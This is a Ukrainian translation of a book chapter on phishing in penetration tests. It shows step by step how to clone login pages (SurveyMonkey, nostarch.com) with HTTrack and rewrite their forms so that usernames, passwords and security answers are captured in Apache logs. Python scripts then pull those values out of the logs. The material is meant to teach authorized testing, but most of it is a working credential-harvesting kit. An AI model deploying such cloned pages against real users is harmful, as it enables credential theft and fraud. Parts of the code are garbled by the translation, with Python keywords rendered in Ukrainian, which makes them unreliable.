Клонування цільової сторінки є небезпечним і недозволеним діянням, яке використовується для шахрайства, фішингу та крадіжки конфіденційної інформації. Незаконне відтворення зовнішнього вигляду та функціоналу легітимних веб-сторінок може ввести користувачів в оману, намагаючись зловживати їхнім довір’ям та здобувати конфіденційні дані, такі як паролі, фінансові реквізити тощо. Охочі шахраї можуть використовувати клонування сторінок, щоб виглядати автентичними та надійними, з метою підманювання користувачів до введення своїх особистих даних. Це може бути виконано шляхом створення майже точної копії оригінальної сторінки, яка маскується під довіреного веб-сайту, щоб збентежити й ошукати невинних користувачів. Жертви, які натискають на посилання у вашому фішинговому листі, мають потрапити на правдоподібну веб-сторінку.
Якщо ваша атака досягає цієї стадії, створення корисної та реалістичної цільової сторінки стає найважливішим аспектом взаємодії. Залежно від рівня складності, запрошеного клієнтом, це може змінюватись від HTML на рівні безкоштовного конструктора сайтів до майже ідентичного клону сайту, який співробітник відвідує щодня. У цьому розділі ми розглянемо клонований веб-сайт, щоб показати, які зміни доведеться внести до вихідного сайту. Потім ми клонуємо дві веб-сторінки з веб-сайту видавництва No Starch Press за допомогою HTTrack, інструменту командного рядка Linux. Можете розмістити ці клоновані сторінки на сервері Apache, який ви налаштували в розділі 7, а потім дати посилання на цей сайт в електронному листі, що надсилається співробітникам вашого клієнта.
Давайте подивимося на підроблений сайт SurveyMonkey, який я клонував приблизно в 2017 році. Цей простий сайт складається з трьох сторінок. Спочатку він пропонує жертвам заповнити форму входу. Коли вони натискають кнопку «Надіслати », вони потрапляють до форми скидання пароля, яка задає кілька простих питань. На останній сторінці користувачеві повідомляють про те, що під час скидання облікового запису сталася помилка. Давайте докладніше розглянемо ці сторінки, щоб можна було краще зрозуміти їх будову.
На рисунку 8.1 показано першу сторінку з іменем index.html.
Уважна жертва, можливо, помітила кілька ознак, здатних виявити фішинг. Зверніть увагу, що в адресному рядку немає зеленого значка замка, який би вказував на використання HTTPS, оскільки я відкрив сторінку безпосередньо з файлу в моєму браузері без використання Apache. У разі справжнього фішингу URL-адреса не матиме легального формату surveymonkey.com/<шлях опитування>, хоча SurveyMonkey можна десь згадати, щоб обдурити користувачів. Крім того, SurveyMonkey зазвичай не містить логотипів на сторінці входу. В іншому випадку важко виявити цей фішинг; правильна адреса відображається на вкладці браузера, і при наведенні курсору на посилання Sign Up або BBB Accredited Business відображатимуться фактичні адреси.
8.2 показана перша сторінка (індекс.html) нашого сайту, до якої ми підключилися по протоколу HTTPS без помилок. Це стартова сторінка, куди ми відправляємо жертв і де ми намагатимемося зібрати адреси електронної пошти та паролі жертв, перш ніж передати їх на сторінку questions.html
Якщо ви подивитеся на вихідний HTML-код цієї сторінки, то побачите, що він практично ідентичний коду оригінального сайту. Ви можете знайти вихідний код сторінок, які ми клонували, а також аналізатори, написані на Python для інформації, яку можна ввести, на http://sm-phish.seosint.xyz/.
В індексі я змінив рядки коду.html які визначають форму входу та її поля, і відредагував код таким чином, щоб, коли користувачі надсилають форму, вони перенаправлялися на запитання.html:
<form id="sign_in_form" class="sign-in-form" action="Questions.html" enctype="application/ xwww-form-urlencoded" "method=get"> <fieldset form="sign_in_form"> <label for="username">Enter your username:</label> <input id="username" name="username" value="" autocorrect="off" autocapitalize="off" class="notranslate textfield required" maxlength="50" size="20" autofocus="" type="text"> <span></span> <label for="password">Enter your password:</label> <input id="password" name="password" class="notranslate textfield required" size="20" autocomplete="off" type="password"> <span></span> <div> <input id="remember_me" name="remember_me" type="checkbox"> <label class="remember-me" for="remember_me">Remember me!</label> </div> <a href="Questions.html"> <button class="translate btn btn-large btn-arrow btn-arrow-right btn-arrow-large-horiz btnarrow-large-right-dark yellow shadow" type="submit">Sign In <span></span></button></a>
Я визначив параметр action , щоб повідомити систему, що вона повинна перейти на сторінку question.html після того, як користувач надішле форму. Потім визначив метод HTTP як get для збору даних з кожного поля форми. (Повне пояснення методів HTTP виходить за рамки цієї книги, але ви можете знайти багато ресурсів, що висвітлюють цю тему в інтернеті.) Потім я створив поля input-id , textfield required та type , які будуть відображатися на екрані жертви.
Ви повинні розуміти, що HTTP GET не є безпечним способом. Щоб зловмисник, який знаходиться за межами мережі клієнта, не зміг скористатися даними, введеними на вашій сторінці, переконайтеся, що встановлений брандмауер і дозволено лише ваші IP-адреси та адреси клієнта.
Однак є кілька переваг використання методу HTTP GET для запису вхідних даних. Ця тактика не вимагає внутрішньої бази даних, оскільки дані зберігаються безпосередньо у файлі журналу Apache, розташованому за адресою /var/log/apache2/access.log. Крім того, якщо цільова організація відстежує свій мережевий трафік, вона повинна отримувати сповіщення, коли такі параметри, як password=userdata передаються зі сторінки зрозумілим текстом, повідомляючи організації, що вона знаходиться під ударом.
Передача облікових даних у відкритому тексті в URL-адресах або інших незахищених каналах є порушенням безпеки. Деякі платформи кодують цей текст, що також небезпечно; Навіть якщо код використовує хеш як параметр, зловмисник з можливістю перехоплення цього трафіку може виконати хеш-атаку перехоплення, в якому він краде криптографічне представлення пароля (хеш) і використовує його безпосередньо для отримання доступу до ресурсів, не знаючи пароля.
Хоча ця форма виглядає як логін облікового запису користувача, це не так. Він просто фіксує вхідні дані і нічого не перевіряє. Поки кожне поле містить хоча б один символ, користувач перейде на наступну сторінку. Якщо цей код дійсно автентифікований, він буде вважатися небезпечним, оскільки веб-сайт впустить усіх.
Зловмисники можуть використовувати зібрані паролі в самих різних атаках. Наприклад, вони можуть розпорошити пароль, намагаючись використовувати його для входу в інші облікові записи, пов’язані зі співробітником і цільовою організацією.
На рис. 8.3 показує другу сторінку, яка запитує у користувачів конфіденційну інформацію під приводом відновлення їх облікового запису.
Сторінка питань.html використовує той самий вихідний код, що й index.html. Тут я замінив адреси електронної пошти та поля форми пароля на чотири запитання щодо скидання пароля. Я також замінив поле, яке змушує користувачів запитувати.html на error.html.
Остання сторінка (рисунок 8.4) інформує користувачів про помилку.
Ви можете використовувати цю останню сторінку для різних цілей. Наприклад, багато жертв можуть задатися питанням, чому сталася помилка, і спробувати ввести інші облікові дані, намагаючись змусити сторінку входу працювати. Жертви також можуть повідомити про цю проблему в ІТ-відділ, який, безсумнівно, покладе край атаці.
HTML-код цієї сторінки містить нескінченний цикл, який змушує її постійно перезавантажуватися. Коли я писав цей код приблизно в 2017 році, браузери дозволяли цьому циклу працювати вічно. Версії браузерів, випущені після 2020 року, можуть припинити його через деякий час.
Цикл викликає проблему. Кожна ітерація записує рядок у файл журналу, що ускладнює ручний збір паролів та іншої конфіденційної інформації з файлу. Замість цього ви можете використовувати пару сценаріїв Python, щоб витягти тільки потрібну інформацію. Ви можете знайти ці сценарії за адресою http://sm-phish. seosint.xyz
У журналах необроблена інформація для транзакції входу містить такі дані:
IP Address - - [17/Feb/2021:04:04:12 +0000] "GET /Questions.html?username= Testing_Username&password=password123 HTTP/1.1" 200 11590 "https://IP Address/ Index.html" "Mozilla/5.0 (user agent information) user agent information) (KHTML, like Gecko) user agent information) " IP Address - - [17/Feb/2021:04:04:36 +0000] "GET /Error.html?pet=Dee-Oh-Gee&school= Hogwarts&name=Mom&honeymoon=Tatooine HTTP/1.1" 200 12090 "https://IP Address/ Questions.html?username=Testing_Username&password=password123" "Mozilla/5.0 (user agent information) user agent information) (KHTML, like Gecko) user agent information) "
Кожен рядок містить надіслану користувачем інформацію. Він повідомляє нам сторінку, де були введені дані (питання.html або помилка.html), а також ідентифікатор поля та значення, наприклад pet=Dee-Oh-Gee&.
Скрипт data_parser_index.py відкриє файл журналу, знайде кожне поле, яке ми запропонували ввести користувачам на сторінці входу, а потім виведе значення полів масивом:
#!/usr/bin/env python3 import re user_pass = re.compile(r"\S.+ім'я користувача\=(? P<user_name>\S.+)\&(? P<password>\ S.+)\sHTTP\S.+") log = open("/var/log/apache2/access.log", "r") масив = []
для l in log:
u = user_pass.findall(l), якщо ви: Print(U) Else: Вихід
Ми імпортуємо модуль регулярних виразів Python, а потім створюємо регулярний вираз, який буде аналізувати ім’я користувача та пароль кожного рядка, який відповідає критеріям у файлі журналу. Після відкриття файлу журналу цикл for проходить через кожен рядок файлу, відображаючи всі збіги.
Потім сценарій data_parser_questions.py виконує ті самі завдання, що й попередній, за винятком того, що він витягує вхідні дані з файлу питань.html:
#!/usr/bin/env python3 import re питання = re.compile(r"\S.+pet\=(? P<pet>\S.+)\&school\=(? P<school>\S.+)\ &name\=(? P<мати>\S.+)\&\медовий місяць\=(? P<honeymoon>\S.+)\sHTTP\S.+") log = open("/var/log/apache2/access.log", "r") масив = []
для l in log:
u = questions.findall(l), якщо ви: Print(U) Else: Вихід
Після використання скриптів для аналізу даних ми повинні володіти необхідною інформацією. Сценарій data_parser_index.py дає вам ім’я користувача та пароль:
root@ossie:~# ./data_parser_index.py [(‘Testing_Username’, ‘password=password123’)]
Сценарій data_parser_questions.py дає вам запитання щодо скидання пароля зі сторінки запитання.html:
root@ossie:~# ./data_parser_questions.py [(‘Dee-Oh-Gee’, ‘Hogwarts’, ‘Mam’, ‘Tatooine’)]
Клонування веб-сайту
Тепер займемося клонуванням сайту. Для цієї вправи ви створите просту, але майже ідентичну копію двох веб-сторінок No Starch Press. Екземпляр Apache, створений у попередньому розділі, потребує коду, який відображає щось на екрані користувача; В іншому випадку ви нічого не робите, крім підрахунку кліків.
Скажімо, ви збираєтеся атакувати компанію, співробітники якої, як ви знаєте з OSINT-даних, часто купують книги No Starch Press. Щоб вкрасти їх облікові дані для входу на сайт, скопіюйте сторінку входу nostarch.com. Відвідайте цю сторінку зараз або знайдіть її за допомогою robots.txt, файлу, який вказує ботам інтернет-пошукових систем, що індексувати, а що ні. Ми часто використовуємо цей файл при зборі OSINT для визначення каталоги, які неможливо знайти за допомогою звичайних пошукових систем.
Ви можете помітити, що коли ви натискаєте кнопку Увійти, ви потрапляєте на нову веб-сторінку: https://nostarch.com/user. Давайте клонуємо як головну сторінку сайту, так і сторінку входу.
Для клонування сторінок ми будемо використовувати інструмент копіювання веб-сайту HTTrack. Цей інструмент командного рядка вже вбудовано в Kali, але ви можете встановити його на будь-яку систему Linux. Наприклад, використовуйте таку команду, щоб встановити його на Ubuntu та Debian:
Інструмент має кілька корисних опцій. Параметр –mirror створює практично ідентичну копію конкретного сайту. Параметр –update оновлює копію наявного сайту, наприклад шляхом внесення змін до базового коду, посилань, трекерів або полів. Параметр –continue продовжує відображати сайт, якщо процес був перерваний або зупинений. –параметр скелета копіює тільки HTML-файли сайту. Параметр -O дозволяє вказати вихідний каталог.
Вибір варіантів копіювання залежить від складності сайту, який ви плануєте клонувати, а також бажаної складності вашої фішингової взаємодії. Чим більший і складніший веб-сайт, тим довше його клонування, що збільшує здатність організації, якій належить сайт, ловити та блокувати вас. Якщо клієнту байдуже, скільки шуму ви створюєте, або ви хочете надійну копію і маєте достатньо часу для цього, виконайте повний процес дзеркального відображення. В іншому випадку досить завантажити тільки HTML-код сторінок. Тут ми будемо використовувати останній варіант. Щоб клонувати сторінку входу No Stanch, введіть таку команду: sudo httrack –skeleton https://nostarch.com/user/
На рисунку 8.5 зображена клонована сторінка. Переглянути його можна з каталогу, з якого ви запустили HTTrack. Перейдіть до відповідної папки для домену, а потім перейдіть до структури каталогів. У цьому випадку ви дивитеся на індекс.html від nostarch.com.
Порівняйте клон з оригінальним сайтом (рисунок 8.6). Єдина відмінність, яку ви повинні помітити, – це URL-адреса.
Тепер будь-яке введення даних на сторінці клонованого сайту буде перенаправляти користувача на реальний сайт. Вам потрібно змінити цю поведінку для полів входу.
Перш за все, давайте подивимося на код сторінки. Найпростіший спосіб – завантажити фактичний сайт і визначити поля введення коду за допомогою інструмента перевірки елементів вашого браузера. Для цього клацніть правою кнопкою миші в будь-якому місці сторінки і виберіть пункт Перевірити. Тепер наведіть курсор миші на поля входу, а код праворуч виділить відповідні фрагменти.
У цьому випадку ми вивчаємо форму входу. Ось код форми з вихідної сторінки:
<form id="sign_in_form" class="sign-in-form" action="Questions.html" enctype="application/xwww-form-urlencoded""method=post""method=get"> <fieldset form="sign_in_form"> <label for="username">Enter your username:</label> <input id="username" name="username" value="" autocorrect="off" autocapitalize="off" class="notranslate textfield required" maxlength="50" size="20" autofocus="" type="text"><span></span> <label for="password">Enter your password:</label> <input id="password" name="password" class="notranslate textfield required" size="20" autocomplete="off" type="password"> <span></span> <div> <input id="remember_me" name="remember_me" type="checkbox"> <label class="remember-me" for="remember_me">Remember me!</label> </div> <a href="Questions.html"><button class="translate btn btn-large btn-arrow btn-arrow-right btn-arrow-large-horiz btn-arrow-large-right-dark yellow shadow" type="submit">Sign In <span></span></button></a> </fieldset> </form>
Як і форма входу, яку ми обговорювали раніше, цей файл містить поля імені користувача та пароля , і перехоплення даних працює так само.
При подальшому огляді ви можете побачити, що цей сайт використовує метод HTTP POST замість GET, а це означає, що потрібно буде переписати цей рядок, щоб ви могли вкрасти облікові дані в URL-адресі, таким чином записуючи їх до журналу доступу Apache. HTTP POST і HTTP GET – методи передачі інформації від сервера до клієнта. Основна відмінність полягає в тому, що метод GET передає параметри в URL-адресі, що менш безпечно, ніж метод HTTP POST, який використовує тіло повідомлення для передачі параметрів.
Давайте внесемо деякі зміни в код форми, щоб ви могли використовувати метод GET і отримати облікові дані, як планувалося. Файл, який ви шукаєте, знаходиться в каталозі nostarch.com/user в index.html. Ви можете знайти файл за допомогою методу перевірки елемента або вручну завантаживши та переглянувши вихідний код.
Ось частина фактичного коду, яка описує форму (її можна знайти за допомогою пошуку форми):
<form action="https://nostarch.com/user/" method="post" id="user-login" acceptcharset="UTF-8"><div><div class="form-item form-item-openid-identifier form-type-textfield form-group""> <label class="control-label" for="edit-openid-identifier">Log in using OpenID</label> <input class="form-control form-text" type=”text" id="edit-openid-identifier" name="openid_identifier" value="" size="60" maxlength="255" /> <div class="help-block"><a href="https://openid.net/">What is OpenID?</a> </div></div><div class="form-item form-itemname form-type-textfield form-group"> <label class="control-label" for="edit-name">Username or email address <span class="form-required" title="This field is required.">*</span></label> <input class="form-control form-text required" title="Enter your username or email address." data-toggle="tooltip" type="text" id="edit-name" name="name" value="" size="60" maxlength="60" /> </div><div class="form-item form-item-pass form-type-password form-group"> <label class="control-label" for="edit-pass">Password <span class="form-required" title="This field is required.">*</span></label> <input class="form-control form-text required" title="Enter the password that accompanies your username." data-toggle="tooltip" type="password" id="edit-pass" name="pass" size="60" maxlength="128" /></div><input type="hidden" name="form_build_id" value="form--q4hdYsiZQz_R7O2aCls66if7f2BqLo2k1ZftdGkfs" /> <input type="hidden" name="form_id" value="user_login" /> <input type="hidden" name="openid.return_to" value="https://nostarch.com/openid/ authenticate?destination=user" /> <ul class="openid-links"><li class="openid-link"><a href="#openid-login">Log in using OpenID</a></li> <li class="user-link"><a href="#">Cancel OpenID login</a></li> </ul><div class="form-actions form-wrapper form-group" id="edit-actions"><button type="submit" id="edit-submit" name="op" value="Log in" class="btn btn-primary form-submit icon-before"><span class="icon glyphicon glyphicon-log-in" aria-hidden="true"></span> Log in</button> </div></div></form>
Тепер внесіть зміни жирним шрифтом:
<form action="Error.html" method="get" id="user-login" accept-charset="UTF-8"><div> <div class="form-item form-item-openid-identifier form-type-textfield form-group"> <label class="control-label" for="edit-openid-identifier">Log in using OpenID</label> <input class="form-control form-text" type="text" id="edit-openid-identifier" name="openid_identifier" value="" size="60" maxlength="255" /> <div class="help-block"”> <a href="Error.html">What is OpenID?</a></div> </div> <div class="form-item form-item-name form-type-textfield form-group"> <label class="control-label" for="edit-name">Username or email address <span class="formrequired" title="This field is required.">*</span></label> <input class="form-control form-text required" title="Enter your username or email address." data-toggle="tooltip" type="text" id="edit-name" name="name" value="" size="60" maxlength="60" /> </div> <div class="form-item form-item-pass form-type-password form-group"> <label class="control-label" for="edit-pass">Password <span class="form-required" title="This field is required.">*</span></label> <input class="form-control form-text required" title="Enter the password that accompanies your username." data-toggle="tooltip" type="password" id="edit-pass" name="pass" size="60" maxlength="128" /> </div><input type="hidden" name="form_build_id" value="form--q4hdYs-iZQz_ R7O2aCls66if7f2BqLo2k1ZftdGkfs" /> <input type="hidden" name="form_id" value="user_login" /> <input type="hidden" name="openid.return_to" value="Error.html"/> <ul class="openid-links"><li class="openid-link"><a href="#openid-login"> Log in using OpenID</a></li> <li class="user-link"><a href="#">Cancel OpenID login</a></li> </ul><div class="form-actions form-wrapper form-group" id="edit-actions"> <button type=”submit" id="edit-submit" name="op" value="Log in" class="btn btn-primary form-submit icon-before"> <span class="icon glyphicon glyphicon-log-in" aria-hidden="true"></span> Log in</button> </div></div></form>
Спочатку змінюєте form action і тег href , що дозволяє перенаправляти трафік з цієї сторінки на свою сторінку error.html. Далі ви можете побачити частину коду, це потрібно видалити, щоб ваша підроблена сторінка не перенаправляла жертву на справжню сторінку.
Вам доведеться створити власну версію сторінки помилки.html на яку посилається поточна сторінка, але це легко. Можна просто скопіювати наявний файл і замінити форму повідомленням на зразок наступного:
<h5> Вибачте, але наш сайт закритий на технічне обслуговування. Будь ласка, перевірте ще раз через 24 години. Просимо вибачення за можливі незручності.</h5>
Ви можете знайти зразок файлу помилки.html для сторінки SurveyMonkey в репозиторії GitHub (http://sm-phish.seosint.xyz/).
Тепер перевірте, як працює копіювання, двічі клацнувши піктограму в переглядачі файлів або перейшовши до хоста в браузері (рисунок 8.7).
Переконавшись, що підроблена сторінка працює належним чином, перемістіть свій сайт до кореневого каталогу Apache. Тут буде встановлено сертифікат SSL/TLS і налаштовано вказівник DNS. Для цього вам потрібно буде перемістити кожен HTML-файл в каталог /var/www/public_html. Будь-які підключення до сайту реєструватимуться Access.log, і саме там ви збиратимете дані, надано потерпілими.
Ось .log вмісту Access для такої події:
IP-адреса - - [17/лютий/2020:04:04:12 +0000] "GET /error.html?openid_ identifier=test&name=test&pass=test HTTP/1.1" 200 11590 "https://IP Address/index.html" "Mozilla/5.0 (інформація про агента користувача) інформація про агента користувача) (KHTML, як Gecko) інформація про агента користувача) "
Ми використовували матеріали з книги “Соціальна інженерія та етичний хакінг на практиці”, які були написані Джо Греєм.